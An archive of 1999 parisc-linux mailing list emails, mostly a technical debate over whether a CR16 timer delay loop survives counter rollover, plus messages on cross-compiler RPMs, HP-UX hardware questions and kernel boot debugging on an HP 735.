X-Trace: ger.gmane.org 1416618666 28621 80.91.229.3 (22 Nov 2014 01:11:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:06 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Nov 24 07:44:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA12418
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 07:44:30 -0700
Original-Received: (qmail 21171 invoked by uid 15267); 24 Nov 1999 14:46:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21161 invoked from network); 24 Nov 1999 14:46:12 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 14:46:12 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 24 Nov 1999 15:29:08 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id LAA03679;
	Wed, 24 Nov 1999 11:01:32 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911232111.NAA25923@opus.allegro.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6503

> If interrupts can happen (and get serviced), a CR16 loop is inherently
> unreliable.  If you're looping until CR16 becomes >= some value, X, then
> you might find that CR16 goes:   n, n+2, n+3, n-10000, n-9998, ...
> 
> I.e., the interrupt servicing could take enough time that the value in
> CR16 becomes misleading.  If the new CR16 is < the last seen one, is it
> simply because it "rolled over", or because an interrupt came in and 
> you've spent an unknown amount of time doing other things?

Look at the loop.  What we do is basically

	cr16 = mfctl(16);
	while(((cr16+loops)-mfctl(16))>0);

Which works well, unless CR16 suddenly changes by 2^31 or more.  This
would correspond to 10-20 seconds spent in an interrupt handler which
is unlikely (and will have negative effects on our timer interrupt as
well).

> OTOH, I like the idea of using a drastic change to CR16 as a signal
> that "something happened", and consider using that as a clue 
> to prematurely exit a counter-based loop.  In that scenario, I'd
> expect a routine like:   delay (int loops,  int premature_exit_ok),
> which would let the caller decide if a premature (CR16 change based)
> exit was allowable.

And what exactly would be the advantage ?

	Philipp Rumpf

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:51:30 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03715
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:29 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:29 PST
Received: from smtp03.primenet.com (daemon@smtp03.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id HAA02680
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 07:38:22 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id HAA10178
	for <pcj@primenet.com>; Wed, 10 Mar 1999 07:39:29 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd010163; Wed Mar 10 07:39:23 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id JAA02127;
	Wed, 10 Mar 1999 09:06:14 -0500
Resent-Date: Wed, 10 Mar 1999 09:06:14 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <19990310090611.M27177@cmu.edu>
Date: Wed, 10 Mar 1999 09:06:11 -0500
From: Phil Schwan <pschwan@cmu.edu>
To: hppa-linux@thepuffingroup.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.91i
Subject: [hppa-linux] New cross compiling RPMs
Resent-Message-ID: <"IQFEx1.0.9X.Lndvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/159
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 8d5765b337395793ff76953a72029da1
Lines: 19
Xref: merlin.pcj.primenet.com palinux:129

Mike Shaver just rebuilt Alex's cross compiling RPMs against glibc 2.0
rather than 2.1, and they're now available on sod:

ftp://sod.res.cmu.edu/pub/parisc/tools/egcs-x-hppa-linux-1.1.1-4.i386.rpm
ftp://sod.res.cmu.edu/pub/parisc/tools/binutils-x-hppa-2.9.1-4.i386.rpm

Note that the revision number is still 4, but these are in fact new. 

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Wed, 24 Nov 1999 11:00:39 -0800 (PST)
Lines: 46
Approved: news@gmane.org
Message-ID: <199911241900.LAA30325@opus.allegro.com>
References: <19991124110032.I1009@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618666 28625 80.91.229.3 (22 Nov 2014 01:11:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: sieler@opus.allegro.com  Wed Nov 24 11:59:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA13848
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 11:59:04 -0700
Original-Received: (qmail 12121 invoked by uid 15267); 24 Nov 1999 19:00:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12114 invoked from network); 24 Nov 1999 19:00:52 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 19:00:52 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id LAA30325;
	Wed, 24 Nov 1999 11:00:39 -0800
In-Reply-To: <19991124110032.I1009@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 24, 1999 11:00:32 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6504

Re:

> Look at the loop.  What we do is basically
> 
> 	cr16 = mfctl(16);
> 	while(((cr16+loops)-mfctl(16))>0);

You definitely don't want to do the above!

Even ignoring the possibility of an interrupt that takes us away
for awhile, there's the simple possibility that cr16 might
roll over during your loop.
(On a 100 MHz machine, with it ticking once per clock,
it rolls over about once every 40 seconds or so.)
This means you have an non-0 (although low) probability that your
loop may screw you up royally!

For example, if CR16 was 10 ticks away from rolling over, and
you wanted to delay for 9 ticks there's a non-0 probability
that it will rollover in between checks... poof, a 40 second delay
occurs in your loop! (Perhaps more, if you don't happen to grab
the cr16 within an acceptable window of time at the end of the 40 seconds.)

Detailing the above:

   cr16 = mfctl (16);    (and get's max-10)
   cr16 + 9 = max - 1
   after 4 to 20 loops, depending upon cr16 implementation on the machine,
   you *could* get to:
       while (  ((max - 1) - (max - 2)) > 0)
   and then loop back and get
       while (  ((max - 1) - (0)      ) > 0)

The likelihood of this (an observed rollover fouling you up) would be
greatly minimized if you added code to note the delta in each two
successive reads of cr16 and terminating if the delta became negative
or quite large.

> And what exactly would be the advantage ?

Not having sporadic hangs of 40 seconds?  (or more) 

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:11:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Folsom <mwfolsom@aptec.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX 10.20 for free?
Date: Wed, 24 Nov 1999 12:05:11 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <383C36E7.840B8154@aptec.com>
References: <199911221822.KAA13945@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618666 28628 80.91.229.3 (22 Nov 2014 01:11:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: mwfolsom@aptec.com  Wed Nov 24 12:03:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA14107
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 12:03:48 -0700
Original-Received: (qmail 14399 invoked by uid 15267); 24 Nov 1999 19:05:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14375 invoked from network); 24 Nov 1999 19:05:29 -0000
Original-Received: from ariel.aptec.com (192.160.144.10)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 19:05:29 -0000
Original-Received: from aptec.com (tracker.plk.af.mil [129.238.45.246])
	by ariel.aptec.com (8.8.8+Sun/8.8.8) with ESMTP id MAA25360
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Nov 1999 12:01:37 -0700 (MST)
Original-Sender: folsom@aptec.com
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6505

Hi:

Hate to beat a dead horse but as someone who is clueless about HP-UX where can
I fnd info on the platforms supported and instillation procedures by this
version of the OS.  I have an older one of their para risc boxes and wonder if
if will work ( I seem to remember it has a model number like 712/60 or so-).

Thanks!

Michael Folsom



From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Wed, 24 Nov 1999 20:33:50 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <19991124203349.J1009@mathe.stud.uni-erlangen.de>
References: <19991124110032.I1009@mathe.stud.uni-erlangen.de> <199911241900.LAA30325@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618667 28639 80.91.229.3 (22 Nov 2014 01:11:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:07 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Nov 24 12:30:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA14614
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 12:30:42 -0700
Original-Received: (qmail 28177 invoked by uid 15267); 24 Nov 1999 19:32:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28164 invoked from network); 24 Nov 1999 19:32:29 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 19:32:29 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 24 Nov 1999 20:32:27 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id UAA05098;
	Wed, 24 Nov 1999 20:34:50 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911241900.LAA30325@opus.allegro.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6506

> > Look at the loop.  What we do is basically
> > 
> > 	cr16 = mfctl(16);
> > 	while(((cr16+loops)-mfctl(16))>0);
> 
> You definitely don't want to do the above!
> 
> Even ignoring the possibility of an interrupt that takes us away
> for awhile, there's the simple possibility that cr16 might
> roll over during your loop.

(cr16+loops) < mfctl(16)     does not handle roll-over correctly
((cr16+loops)-mfctl(16)) < 0 does.

> (On a 100 MHz machine, with it ticking once per clock,
> it rolls over about once every 40 seconds or so.)
> This means you have an non-0 (although low) probability that your
> loop may screw you up royally!

No, I haven't.  Think about it.

> For example, if CR16 was 10 ticks away from rolling over, and
> you wanted to delay for 9 ticks there's a non-0 probability
> that it will rollover in between checks... poof, a 40 second delay
> occurs in your loop! (Perhaps more, if you don't happen to grab
> the cr16 within an acceptable window of time at the end of the 40 seconds.)
> 
> Detailing the above:
> 
>    cr16 = mfctl (16);    (and get's max-10)
>    cr16 + 9 = max - 1

cr16+loops	mfctl(16)	((c+l)-m(16))	((c+l)-m(16))>0
0xffffffff	0xfffffff5	0x0000000a	true
0xffffffff	0xfffffff6	0x00000009	true
0xffffffff	0xfffffff7	0x00000008	true
...
0xffffffff	0xffffffff	0x00000000	false
0xffffffff	0x00000000	0xffffffff	false
0xffffffff	0x00000001	0xfffffffe	false
...
0xffffffff	0x00010000	0xfffeffff	false

Handles the roll-over just nicely, doesn't it ?

>    after 4 to 20 loops, depending upon cr16 implementation on the machine,
>    you *could* get to:
>        while (  ((max - 1) - (max - 2)) > 0)
>    and then loop back and get
>        while (  ((max - 1) - (0)      ) > 0)

oh, I think I see your problem.  Of course, we rely on the (a-b) part of
(a-b)>0 to be signed.  (using ">0" for unsigned integers doesn't make much
sense).

	Philipp Rumpf


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frowand@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: itmr rollover in delay loop
Date: Wed, 24 Nov 1999 11:36:25 PST
Lines: 82
Approved: news@gmane.org
Message-ID: <199911241936.LAA19634@xsvr4.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618667 28642 80.91.229.3 (22 Nov 2014 01:11:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frowand@cup.hp.com  Wed Nov 24 12:34:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA14885
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 12:34:39 -0700
Original-Received: (qmail 30246 invoked by uid 15267); 24 Nov 1999 19:36:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30237 invoked from network); 24 Nov 1999 19:36:27 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 19:36:27 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (Postfix) with ESMTP id 19C36263A
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Nov 1999 14:36:26 -0500 (EST)
Original-Received: (from frowand@localhost) by xsvr4.cup.hp.com (8.7.6/8.7.3) id LAA19634 for parisc-linux@thepuffingroup.com; Wed, 24 Nov 1999 11:36:25 -0800 (PST)
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:6507

>> Look at the loop.  What we do is basically
>> 
>>       cr16 = mfctl(16);
>>       while(((cr16+loops)-mfctl(16))>0);
>
>You definitely don't want to do the above!
>
>Even ignoring the possibility of an interrupt that takes us away
>for awhile, there's the simple possibility that cr16 might
>roll over during your loop.

Careful use of unsigned variables fixes the problem.  The easiest way to
explain this is by a small sample program:


main() {

unsigned long a;
unsigned long b;
int k;

a = 0xfffffffd;
b = 0xfffffffa;

printf("a       b        b - a         0 < (int)(b - a)\n\n");

for (k = 0; k < 10; k++) {
        printf("0x%x  0x%x  0x%x  %s\n", a, b, (b-a), (0 < (int)(b-a)) ? "y" : "n");
        b++;
}

printf("\n\n");

b += 0x7ffffff4;

for (k = 0; k < 10; k++) {
        printf("0x%x  0x%x  0x%x  %s\n", a, b, (b-a), (0 < (int)(b-a)) ? "y" : "n");
        b++;
}

}




The output from this program is:


a       b        b - a         0 < (int)(b - a)

0xfffffffd  0xfffffffa  0xfffffffd  n
0xfffffffd  0xfffffffb  0xfffffffe  n
0xfffffffd  0xfffffffc  0xffffffff  n
0xfffffffd  0xfffffffd  0x0  n
0xfffffffd  0xfffffffe  0x1  y
0xfffffffd  0xffffffff  0x2  y
0xfffffffd  0x0  0x3  y
0xfffffffd  0x1  0x4  y
0xfffffffd  0x2  0x5  y
0xfffffffd  0x3  0x6  y


0xfffffffd  0x7ffffff8  0x7ffffffb  y
0xfffffffd  0x7ffffff9  0x7ffffffc  y
0xfffffffd  0x7ffffffa  0x7ffffffd  y
0xfffffffd  0x7ffffffb  0x7ffffffe  y
0xfffffffd  0x7ffffffc  0x7fffffff  y
0xfffffffd  0x7ffffffd  0x80000000  n
0xfffffffd  0x7ffffffe  0x80000001  n
0xfffffffd  0x7fffffff  0x80000002  n
0xfffffffd  0x80000000  0x80000003  n
0xfffffffd  0x80000001  0x80000004  n



Note that the calculation to decide whether rollover occurred is only
good for half the maximum magnitude of the counter (2^31 in our case).



-Frank


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: itmr rollover in delay loop
Date: Wed, 24 Nov 1999 20:56:08 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <19991124205608.K1009@mathe.stud.uni-erlangen.de>
References: <199911241936.LAA19634@xsvr4.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618667 28647 80.91.229.3 (22 Nov 2014 01:11:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Frank Rowand <frowand@cup.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Nov 24 12:52:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA15196
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 12:52:58 -0700
Original-Received: (qmail 7173 invoked by uid 15267); 24 Nov 1999 19:54:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7166 invoked from network); 24 Nov 1999 19:54:46 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 19:54:46 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 24 Nov 1999 20:54:44 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id UAA05125;
	Wed, 24 Nov 1999 20:57:08 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911241936.LAA19634@xsvr4.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6508

> >>       while(((cr16+loops)-mfctl(16))>0);

>         printf("0x%x  0x%x  0x%x  %s\n", a, b, (b-a), (0 < (int)(b-a)) ? "y" : "n");
>         b++;

Note that Frank is modifying b, and evaluating  0 < (int)(b-a), while in
the original example, the modified term was subtracted from the constant
(for one call) one, so it would have been (int)(a-b) > 0 using Frank's
variable names.  This explains why Frank is still seeing "n" for a == b
while I am already seeing false.

	Philipp Rumpf


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 24 Nov 1999 15:55:38 -0500 (EST)
Lines: 49
Approved: news@gmane.org
Message-ID: <199911242055.PAA14777@hiauly1.hia.nrc.ca>
References: <19991124203349.J1009@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618668 28653 80.91.229.3 (22 Nov 2014 01:11:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:08 +0000 (UTC)
Cc: sieler@allegro.com, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 24 13:54:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA15681
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 13:54:08 -0700
Original-Received: (qmail 7189 invoked by uid 15267); 24 Nov 1999 20:55:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7167 invoked from network); 24 Nov 1999 20:55:55 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 20:55:55 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA14777;
	Wed, 24 Nov 1999 15:55:39 -0500 (EST)
In-Reply-To: <19991124203349.J1009@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 24, 99 08:33:50 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6509

It's hard to believe that my initial post started all this discussion
about delay loops.  My original post was about progress in trying to
get to the sash prompt on my 735.  Well were still not there!

I have modified real/setup.c, boot/boot_code/ipl_c.c and include/asm/bootdata.h
so that a default command line is now set when I boot with the hpux loader.
The default command line now prints during the boot.  However, the system
is still not able to open an initial console.

I removed all LASI stuff from my configuration since some of the boot
messages made it seem that it was trying to do things that were bad.  It
did find the ASP, however, when the LASI stuff was in.

I am now mainly concerned that some of the memory configuration messages
seem strange.  I also got a panic after:

Attempting to execute '/sbin/init'
It seems to be a valid SOM executable.

I got a nice dump of the registers.  I think this shows that interruptions
for bus errors are working.  The panic occured at sem_exit+2C when it
tried to access location fffc5e6c.  I will try to determine how this address
got used by sem_exit.

This is what I copied down from the boot re memory and the kernel:

548872 + 532480 + 131952
...
Clearing BSS 0x00118550 --> 0x00139370
Free mem starts at 0xc0139370
Available Virtual mapped memory 0xc0139370 - c5000000
Memory : 14768K available (536K kernel code, 1016K data, 64K init) [c0000000, c1000000]
...
initrd : c009e000 - c00f5800
free_area_init : c0143000 c2000000
mem_map = c0143000
...

The initial BSS clear and the start of free memory are correct.  However,
the 14768K available and the upper limit for the free_area_init appear
incorrect.

Any thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 24 Nov 1999 22:05:28 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <19991124220528.L1009@mathe.stud.uni-erlangen.de>
References: <19991124203349.J1009@mathe.stud.uni-erlangen.de> <199911242055.PAA14777@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618668 28662 80.91.229.3 (22 Nov 2014 01:11:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:08 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Nov 24 14:02:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA15987
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 14:02:38 -0700
Original-Received: (qmail 11405 invoked by uid 15267); 24 Nov 1999 21:04:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11396 invoked from network); 24 Nov 1999 21:04:25 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 24 Nov 1999 21:04:25 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 24 Nov 1999 22:04:05 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id WAA17798;
	Wed, 24 Nov 1999 22:06:28 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911242055.PAA14777@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6510

>I have modified real/setup.c, boot/boot_code/ipl_c.c and include/asm/bootdata.h
>so that a default command line is now set when I boot with the hpux loader.
>The default command line now prints during the boot.  However, the system
>is still not able to open an initial console.

ramdisk known to be good (which one do you use, md5sum if possible) ?
.config known to be good (attach it) ?
are you up-to-date with the cvs tree (I have no idea which caches the 735 has,
but cache flushes won't harm (well, they do harm performance)) ?

> Available Virtual mapped memory 0xc0139370 - c5000000
> Memory : 14768K available (536K kernel code, 1016K data, 64K init) [c0000000, c1000000]
> ...
> initrd : c009e000 - c00f5800
> free_area_init : c0143000 c2000000
> mem_map = c0143000
> ...
> 
> The initial BSS clear and the start of free memory are correct.  However,
> the 14768K available and the upper limit for the free_area_init appear
> incorrect.

Only using 16 MB RAM is hard-coded for now.  (Not because we can't detect
more, but because we don't want to use more as that might require additional
BTLB entries.).

	Philipp Rumpf


From - Thu Nov 08 21:11:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 24 Nov 1999 13:27:52 PST
Lines: 17
Approved: news@gmane.org
Message-ID: <199911242127.NAA27314@chrome.rose.hp.com>
References: <19991124220528.L1009@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618668 28668 80.91.229.3 (22 Nov 2014 01:11:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:08 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: kirkb@chrome.rose.hp.com  Wed Nov 24 14:24:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA16356
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 14:24:43 -0700
Original-Received: (qmail 22051 invoked by uid 15267); 24 Nov 1999 21:26:32 -0000
